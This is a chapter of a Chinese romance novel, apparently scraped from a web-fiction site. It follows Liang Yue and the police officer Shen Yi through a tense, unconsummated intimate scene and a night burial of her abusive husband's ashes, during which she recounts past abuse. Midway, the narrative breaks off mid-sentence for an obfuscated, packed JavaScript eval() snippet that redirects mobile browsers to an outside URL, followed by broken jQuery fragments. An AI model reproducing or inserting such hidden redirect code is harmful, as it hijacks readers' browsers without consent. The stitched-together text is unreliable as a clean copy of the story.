梁月冷冷扯了一下嘴角,指尖的烟还剩最后一口,她没再抽。
扭身碾灭在身后的饭碗里,然后好整以暇地盯着眼前的男人。
那眼神很有深意。
沈异一时拿不准她是什么意思,慌乱地舔了舔唇。
下一秒,梁月的手从他肩膀上落下,准确无误地放在了男人的皮带扣上。
她指甲磕在金属上,发出又小又闷的一声,像敲醒了什么。
敲醒了沉睡的什么。
沈异呼吸一滞,下意识地将一只手挡在皮带下方三寸的位置,他脑子像浆糊一样停止了思考。
女人的裙摆擦在手背上,烧得他皮肉发烫发紧。
“咔哒”一声暗响,沈异紧张到失语,不受控制地想要起身,全然忘了腿上还坐着一个女人,他一动,梁月便重心不稳地朝后倒向桌子。
“别动!”
梁月拉住一截皮带稳住身形,推了他一把,他就又靠回椅子上。
沈异不敢再动,僵硬不安地弓住身体,想要隐藏住什么。
这样一来,两人之间的距离缩减到毫厘之间,鼻息里涌来阵阵馨香。
两颗脑袋错落着,余光里,尽是她沉静的模样。
梁月视线下瞥,手上动作不停,将那条皮带从男人腰上抽了出来,她捧在手心看了片刻,突然低头闻了闻,表情认真。
沈异眉头皱在一起,“你……”
“你什么?”梁月看他一眼,又低头闻了一下,“怎么会有一股草木的味道。”
沈异:“……”
她真的很奇怪,可又实在美丽,两种特质糅合在一起,便是艳异。
那条皮带在她白皙的手心翻转缠绕了好一会儿,她只是低头看着,也不说话。
沈异已经冷静了不少,正想拿回属于自己的东西。
“手伸出来。”梁月冷不丁的说。
“什么?”
“手,”梁月盯着他,“像犯人那样,合在一起,伸到我眼前。”
那当下,沈异想了很多,全是些下流的画面,他隐隐不安,隐隐期待,隐隐……全是隐隐的,不可言说的情绪。
两人对视半晌,一个镇定无波,一个暗藏狂澜。沈异像是下定决心,双手一蜷,递到梁月跟前。
梁月弯起嘴角,将皮带缠在男人手腕上,正要拉紧的瞬间,沈异突然垂下手挣脱出来。
“这样不对。”他说。
“不对?”梁月轻呵一声,也不再勉强,转而将自己的手套了进去,她递到他面前。
一切都不言而喻。
沈异手指神经性地颤了一下,脑子里出现一道声音,在说:绑住她,紧紧地绑住!
玩儿这么大?
眸底的暴烈因子四处游移冲撞,沈异花费了十几秒的时间才将自己拯救出来。
他沉静看着梁月,无声摇头。
他不愿意这样,不愿意不明不白的这样。
梁月好像早就预料到了他会是这样的反应,纤眉一挑。
她一边看着他,一边慢慢收回了手,然后张开嘴,用牙齿咬住皮带末端。
狠拉。
她将自己捆绑,然后递到男人跟前,“那这样对吗?”
她眼眸决绝,仍是看着沈异,沈异不闪躲。
沈异伸手牵住皮带末端摩挲,上面有她牙齿的印记,他心里很不是滋味,话音却是肯定的,“不对。”
梁月一直观察着他,这男人从解皮带时的局促纯情,到犹疑挣扎,再到现在的镇定淡然,她都看在眼里。
听到他说不对,她终于慢慢吐出一口气,用拳头抵了抵男人的胸膛,“给我解开。”
沈异不敢耽搁,很快就拿回了属于自己的皮带。
梁月揉了揉被勒红的手腕,十分平静地说:“既然都不对,就别再浪费时间了。”
说罢,她起身离开他,坐回到沙发上。
“你走吧。”她赶人。
气氛就这么僵持着,一时间难以打破。
过了一会儿,沈异将桌子拖回原位,又主动去洗了碗,他在厨房待了近十分钟才走出来,视线里的梁月蜷缩在沙发上,烟灰落了一地。
她与身下的单人沙发融为一体,在夜里,成为一片安静的海。
沈异走过去坐在梁月对面,并没有要走的意思,他说:“以后不要再用警察的身份激我了,警察也是人,我不觉得这有什么。”
“我对工作问心无愧,所以工作也不会影响我私下做出任何忠于内心的决定。”
沈异望向对面紧闭着眼的梁月,他知道她没有睡着,继续说:“至于对不对什么的,眼下不对,不代表以后不对。”
梁月听他这样说,突然来了火,睁开眼,怒目瞪着他,“不对就是不对!”
她拔高音量,“你满足不了我,我也满足不了你,说这些还有什么用!”
沈异愣了下,说:“我能满足你。”
这下轮到梁月傻了,她耳尖通红,一字一顿,“你满足不了。”
沈异徐徐说:“我能,不过我是想用一个合理的身份来满足你,而不是像现在这样不明不白的。”
“也许……我们可以先从朋友做起。”
梁月内心一阵慌乱,暗暗吐气,“你走吧。”
沈异知道她需要时间考虑,点点头,“那你早点休息,今天打扰了。
一阵脚步声后,响起了关门的声音,梁月这才大口大口呼吸起来,余光瞥见桌上的药膏,她被烫到似的,飞快扫进了垃圾桶里。
之后的一个星期,梁月没再听见响起的敲门声,同样的,四楼楼梯的拐角处也没再出现那盆郁金香。
她不安,但无能为力。
在这个通讯靠智能手机的年代,梁月和姜柏的联系方式古老的令人发笑,但也安全的令人佩服。
有利就有弊,在这样的情况下,梁月全然不知姜柏最近的行踪,也不知道他在做什么。
百无聊赖的她开始收拾离开的行囊,翻遍了家里的每一个角落,最后发现没什么东西是割舍不下的,她可以背个包就走,也可以空手就离开。
这里其实没什么好的回忆。
视线停留在宋怀义的骨灰盒上,是任由他放在这儿还是找个地方埋下呢,梁月无法立马做出决定,于是她呆坐了一下午,才决定给死去的丈夫下葬。
她换好衣服,将骨灰盒放进一个登山包里,刚打开门就遇见了上楼的沈异。
两人皆是一愣。
沈异看着她的装扮,“你要出门吗?”
梁月不理人,绕开他朝外走。
“我送你吧。”沈异紧跟在她身后。
梁月猛地转身,冷淡开口,“我要去埋死去丈夫的骨灰,你要去吗?”
“……我送你。”沈异依然坚持。
“去哪儿?”
梁月肩膀垮下来,无可奈何地说:“不合适。”
“我只是送你而已,不参与就好了。”
梁月定定看了他几秒,“椿山。”
梁月去过一次椿山,但已经记不清是什么时候了,只记得是结婚前宋怀义带她去的,她鲜少出门游玩,所以印象深刻。
当然,印象最深刻的还是因为椿山有一片野生玫瑰,它们香味浓郁,但花瓣并不稠密,甚至可以说是稀疏,枝条上的小刺密密麻麻,看着像绒毛,实则非常尖利。
沈异帮梁月打开车门,等她人坐了上去,才绕到驾驶座,他设置好导航,很快就发动车子往椿山开去。
梁月抱着背包,并没有要交谈的意味,始终眉眼淡淡地看着窗外。
等红灯的时候,沈异主动说:“队里前几天比较忙,本来想约你吃饭的,但没时间。”
他偏头看着梁月,直到绿灯亮起,才挪开了视线。
车子开上绕城高速,大概需要四十分钟才能到达目的地。
“你如果困的话,就睡会儿吧。”沈异说。
梁月依然没什么反应。
她这样的态度如果放在其他女人身上,沈异会觉得十分高傲冷淡,可在她身上就不觉得,他觉得她本来就是这样的性格,他会用天性安静这样的词来形容她。
傍晚的夕阳十分美好,霞光染透半边天,城市逐渐被甩在身后,视线渐渐被绿色的山脉所取代。
黄昏前一秒还挂在天边,后一秒就消失不见,天地间的色彩由温暖变得冷然。
到达椿山的时候,天空是灰蓝色的,梁月没有立马下车,她抬眼看看天,又看看身旁的男人,终于开口说:“你在这儿等着吧。”
说完就从包里掏出一个手电筒来,然后头也不回的往山上爬。
很快,身后就响起了脚步声,梁月并不意外,甚至都没有回头。安静的山路上,只有他们俩的呼吸声,慢慢的,那呼吸声掩盖了脚步声。
在鼻腔里的泥土气息变为一阵花香时,梁月停下了脚步,她站在原地,闭上眼,深深地吸了一口气,仿佛要醉倒。
沈异不想打扰她,退到几步之外站着,眼睛却一刻也不舍得离开她,这么黑的夜里,他怕她发生什么意外。
梁月跪坐在地上,将手电筒放在一旁,她小心翼翼地捧出骨灰盒放在地上,紧接着就掏出一把铲子,开始在地上挖。
这是一项体力活,梁月没几分钟就出了一身汗,手里的动作也慢了下来。
沈异看不下去,一把夺过她手里的工具就开始铲,后来怕泥土打在她身上,又拉着她胳膊把人扯远了一点。
梁月没挣扎,呆呆坐在地上看着。很快,一个不大不小的坑就挖好了。
沈异把铲子一扔,他吐出一口气,声线还算平稳,“剩下的你来吧。”
梁月没动,突然问:“你知道我为什么要把他埋在这儿吗?”
沈异说:“不知道。”
梁月笑了一声。沈异循声看过去,夜太黑了,什么也没看见,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448049|185182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那手电筒的光打在她孔雀绿的外套上,这是夜里唯一的色彩。
“有一次,宋怀义又喝醉了,家里所有能砸的东西都被他砸了,他还不过瘾,就抄起一束玫瑰花开始抽打我,我趴在地上,动都动不了。”
“那束玫瑰花很新鲜,上面的刺尖利勾人,勾住皮肉就不放,再一拉,血肉都翻出来。”梁月看向面前的人影,“我背上到现在都还有痕迹呢。”
黑夜里,两人都看不清彼此的神情,梁月放松了许多,说了平日里不想说也不该说的话。
“我抗打是因为从小就挨打,挨得多了也就习惯了,甚至连眉头也不会皱一下。”
沈异沸腾的心越来越凉,他睁大双眼,努力想要看清她的面容,可什么也看不见,他想朝她吼,质问她为什么不反抗,为什么不相信警察。
转念一想,她又有什么办法呢,并不是所有人都能主宰自己的人生。
沈异有许多疑问,“你是家里最小的,按理说应该很受宠爱,怎么会挨打呢?”
梁月苦笑一瞬,“因为我有一对愚蠢的父母,妈妈费尽心思只想讨好别人的儿子,她认为只有儿子才能给她养老;爸爸迂腐虚伪,致力于当一个好后爹,最怕别人说他偏心了。”
“所以他们把所有的不快都施加在我这个亲生女儿身上,那些无法实现的控制欲只能由我满足。”
办案这么多年,人性总能一次又一次的突破底线。沈异见过不少恶,但仍觉得不可思议,心脏一抽一抽地疼,他觉得站不稳,艰难蹲了下来,“我……”
“不用安慰我。”梁月打断他。
她长舒一口气,抱起骨灰盒放进坑里,兀自说:“你真可怜,死了还落我手里,我很记仇的,也很吝啬,我不会给你一个体面的坟墓,更不会给你一块儿碑,我要断了任何想来祭奠你的人的路。”
“我要把你埋在荆棘下面,这样一来,只要你稍稍冒出头,就会被头顶的玫瑰花扎的血肉模糊。”
“真是活该!”
梁月捧起土往里填,填完还踩了几脚,她捡起铲子,用手指慢慢清理上面的土。
“回家再清理吧。”夜晚有点凉,沈异怕她感冒,忍不住提醒到。
“我怕把你车弄脏了。”
“不会,即使脏了也没关系。”
“有关系的。”梁月停下动作,她眼神幽郁,好奇问:“沈警官不觉得我这样的女人很恐怖吗?”
沈异没犹豫,干脆地摇了下头,怕梁月看不见,又出声说:“不会,不是你的错。”
梁月深呼吸,“以后,不要再来找我了,我们不是一路人,像你这样骄傲的人,不应该三番五次向我低下头。”
沈异不甘心,“我想知道原因,我是哪里做的让你不喜欢吗?是不是……因为之前审讯的时候太凶了?”
“那是工作时的状态,我平时不是那样的人。”沈异语气有点着急,“我们可以先试着从朋友做起。”
“没时间了。”梁月说:“再过一段时间,我会永远离开这个城市,再也不回来了,所以沈警官没必要把时间浪费在我身上。”
“去哪儿?”沈异心口涌上几分酸楚。
“去更远的南方,那里的春天要漫长一点。”
山里有夜间出来捕食的鸟类叫了几声,沈异喉头滚动,弯腰捡起手电筒。
“走吧。”他轻声说。
回去的路上,车速明显快了起来,梁月心想这警察怕是再也不想看见自己了,这正是她所希望的,他们本就不是一个世界的人,他一时鬼迷心窍走错了道,她有必要提醒他。
一个好人,一个优秀的人不应该这样,不应该堕入她的世界里。
沈异将车停在巷子里,他想了一路也没想清楚要说点什么挽留的话,他不是她的谁,挽留的话没用,只能眼睁睁地看着她下车,看着她一如既往的沉静面容,然后离开。
也许,这就是最后一面了。
想到这里,沈异猛然反应过来,他急忙追了下去,“梁月。”
不远处的身影顿住,但没有转身,沈异说:“你要走我不拦着,你有自己的人生,可现在不是还没走吗。”
夜风中,她的头发在暖光下闪烁着,飘动着,发夹好似又要掉下来了,这一次,沈异伸手够不到。
他掩去落寞,强撑起轻松的语气,“我们可以做几个月的朋友,哪天你要走了,跟我说一声就行。”
梁月挺着背,没有回头,冷血快速地进了小区里,不给他一丝一毫的机会与念想。
沈异在原地站了一会儿才离开,他又回到了空荡荡的家中,以前从未觉得冷清的家,在这一刻却实打实的令人感到孤独,他打开电视,怀着满心的遗憾坐了很久。
情绪低落的超乎想象,连沈异自己都震惊了,他本以为自己能控制住情感的尺度,可还是低估了梁月身上的吸引力。
她什么都没做,甚至是冷若冰霜,可还是令他无法自拔。